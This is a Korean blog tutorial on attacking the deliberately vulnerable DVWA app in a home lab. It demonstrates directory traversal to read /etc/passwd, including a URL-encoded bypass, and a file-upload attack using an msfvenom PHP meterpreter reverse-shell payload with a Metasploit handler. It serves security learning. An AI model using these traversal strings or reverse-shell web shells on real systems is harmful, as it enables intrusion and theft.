본문 바로가기

전공 공부/리눅스 보안 실습

웹 취약점 디렉토리 이동 공격, 파일 업로드 공격(DVWA)

728x90

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.

범죄 행위이고 처벌을 받을 수 있습니다.

모든 해킹 행위는 자기 자신에게 책임이 있습니다.

 

제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.

 

DVWA는 PHP/MySQL 기반 웹 애플리케이션이며 웹 취약점 공격을 테스팅할 수 있는 환경을 줍니다.

 

http://www.dvwa.co.uk/

 

DVWA - Damn Vulnerable Web Application

 

www.dvwa.co.uk

metasploitable에 설치되어 있는 Damn Vulnerable Web App(DVWA)을 사용하여, 디렉토리 이동 공격, 파일 업로드 공격 취약점 공격을 해보도록 하겠습니다.

 

metasploitable ip주소/dvwa

metasploitable에는 이미 설치가 되어 있으므로 해당 웹서버로 접속을 하면 로그인을 할 수 있는 페이지가 나옵니다.

 

기본적으로 Username: admin / Password:password로 설정이 되어 있습니다.

 

 

취약점 공격을 위해서 DVWA Security 메뉴에 보안 레벨을 low로 설정해 줍니다.

 

 

1. 디렉토리 이동 공격

디렉토리 리스팅, 디렉토리 이동 공격은 웹 브라우저를 이용해 웹 서버의 파일 목록들과 파일들에 접근할 수 있는 취약점입니다.

vim /etc/apache2/sites-enabled/000-default

apache2(아파치)는 http 웹 서버로 웹 관련해 여러 설정들을 할 수 있습니다.  설정들 중에서 파일들의 목록들을 볼 수 있는 Index라는 옵션이 있는데, 이 옵션을 그대로 설정해 둘 경우, 해당 취약점이 생기게 됩니다.

 

해당 옵션의 Directory /var/www/라고 설정이 되어 있는데. 이는 해당 폴더를 기본 위치로 설정이 되어 있는 것을 의미합니다.

 

 

http://192.168.196.142/dvwa/vulnerabilities 

웹 브라우저에 URL창에 해당 디렉터리 위치를 전송하게 되면,

리눅스 상에서는 해당 웹서버의 기본 폴더인 /var/www/ + /dvwa/vulnerabilities 가 합쳐진 /var/www/dvwa/vulnerabilities 경로에 있는 파일들의 목록들을 보여주게 됩니다.

 

이 원리를 이용해 여기서 조금 더 응용을 하면../ URL을 추가시키면 같이 상위 디렉터리로 이동을 할 수 있게 됩니다.

 

DVWA 에는 File Inclusion 메뉴가 있는데 나와 있는 설명처럼 

http://192.168.196.142/dvwa/vulnerabilities/fi/?page=include.php

?page=index.php 에서 index.php 대신 파일 경로를 입력하면, URL을 통해 해당 파일에 접근할 수 있습니다.

 

http://192.168.196.142/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

다음과 같은 URL을 이용하여 패스워드 파일에 접근을 해보았습니다.

 

동작원리는 다음과 같습니다.

현재 URL 경로가 /dvwa/vulnerabilities 이지만, 실제 리눅스 내부 파일에서는 /var/www/dvwa/vulnerabilities라고 가정하고 디렉터리 이동을 해야 합니다.

그렇기 때문에 최상위 경로로 이동하기 위해서는 " ../ " (상위 디렉터리 이동)를 총 4번 써줘야 최상위 " / " 경로로 이동이 가능합니다. 

 

 

http://192.168.196.142/dvwa/vulnerabilities/fi/?page==%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd  

URL 인코딩을 하는 방식으로 우회도 가능합니다. %2E는 16진수 HEX 값으로 10진수로는 46, ASCII 문자에서는 " . "을 의미합니다. 또한 %2F는 10진수로 47 ASCII 문자에서는 " / "를 의미합니다. 이를 디렉터리 공격이 가능한 URL로 바꿔보면 다음과 같이 같은 결과가 나옵니다.

 

 

2. 파일 업로드(file upload) 실행 공격

 

파일 업로드 실행 공격을 하기 위해 업로드할 파일을 먼저 만들어 줍니다.

 

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.196.132 lport=443 f raw -o /tmp/webshell.php

msfvenom을 이용하여 업로드 공격에 사용할 페이로드를 만들었습니다.

php 미터프리터 쉘을 실행시킬 수 있는 페이로드로, reverse_tcp 방식이므로 공격자의 Local host 주소인 칼리 리눅스 ip 주소와 포트를 적은 뒤 파일로 저장을 하였습니다.

 

vim /tmp/webshell.php

에디터를 열어서 /* 이 부분을 위 사진과 같이 삭제 후 저장을 해야 정상 동작합니다.

 

만든 페이로드 webshell.php 파일을 찾아 업로드를 해줍니다.

 

 

업로드가 성공적으로 된 것을 볼 수 있습니다. 일반적으로 php 파일 확장자 업로드는 막아 놓지만, 여기에서는 보안 레벨을 low로 설정했기 때문에 가능합니다.

../../hackable/uploads/webshell.php 에 저장된 것을 확인할 수 있습니다.

 

 

이제 페이로드를 실행시키기 전에 reversed 방식이므로 피해자(rhost) 서버에서 접속을 할 수 있게 msfconsole을 사용해 핸들러(handler)를 사용해야 합니다.

 

 

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.196.132
set lport 443
exploit

취약점 공격을 위해 핸들러를 실행시켜줍니다. 

파일을 만든 다음 msfconsole -r 파일 경로 로도 실행 가능합니다.

 

 

이제 업로드된 파일로 접근하기 위해 ../../hackable/uploads/webshell.php 경로를 URL에 추가시켜 주면 됩니다.

실제 저 ULR에서 상대 경로를 제외하고 파일이 위치하는 경로를 살펴보면 192.168.196.142/dvwa/hackable/uploads/webshell.php 위치해 있습니다.

 

해당 파일이 위치해 있는 파일로 URL을 접근하게 된다면, 페이로드로 만든 php 파일이 실행 되게 됩니다.

 

 

실행해 놓은 핸들러에게 reversed tcp 방식으로 접근을 하게 되면서 공격자는 meterpreter 쉘을 사용할 수 있게 됩니다.

 

 

경로를 살펴보면 /var/www/dvwa/hackable/uploads 파일로 우리가 만든 webshell.php 페이로드가 존재하는 것을 알 수 있습니다.

728x90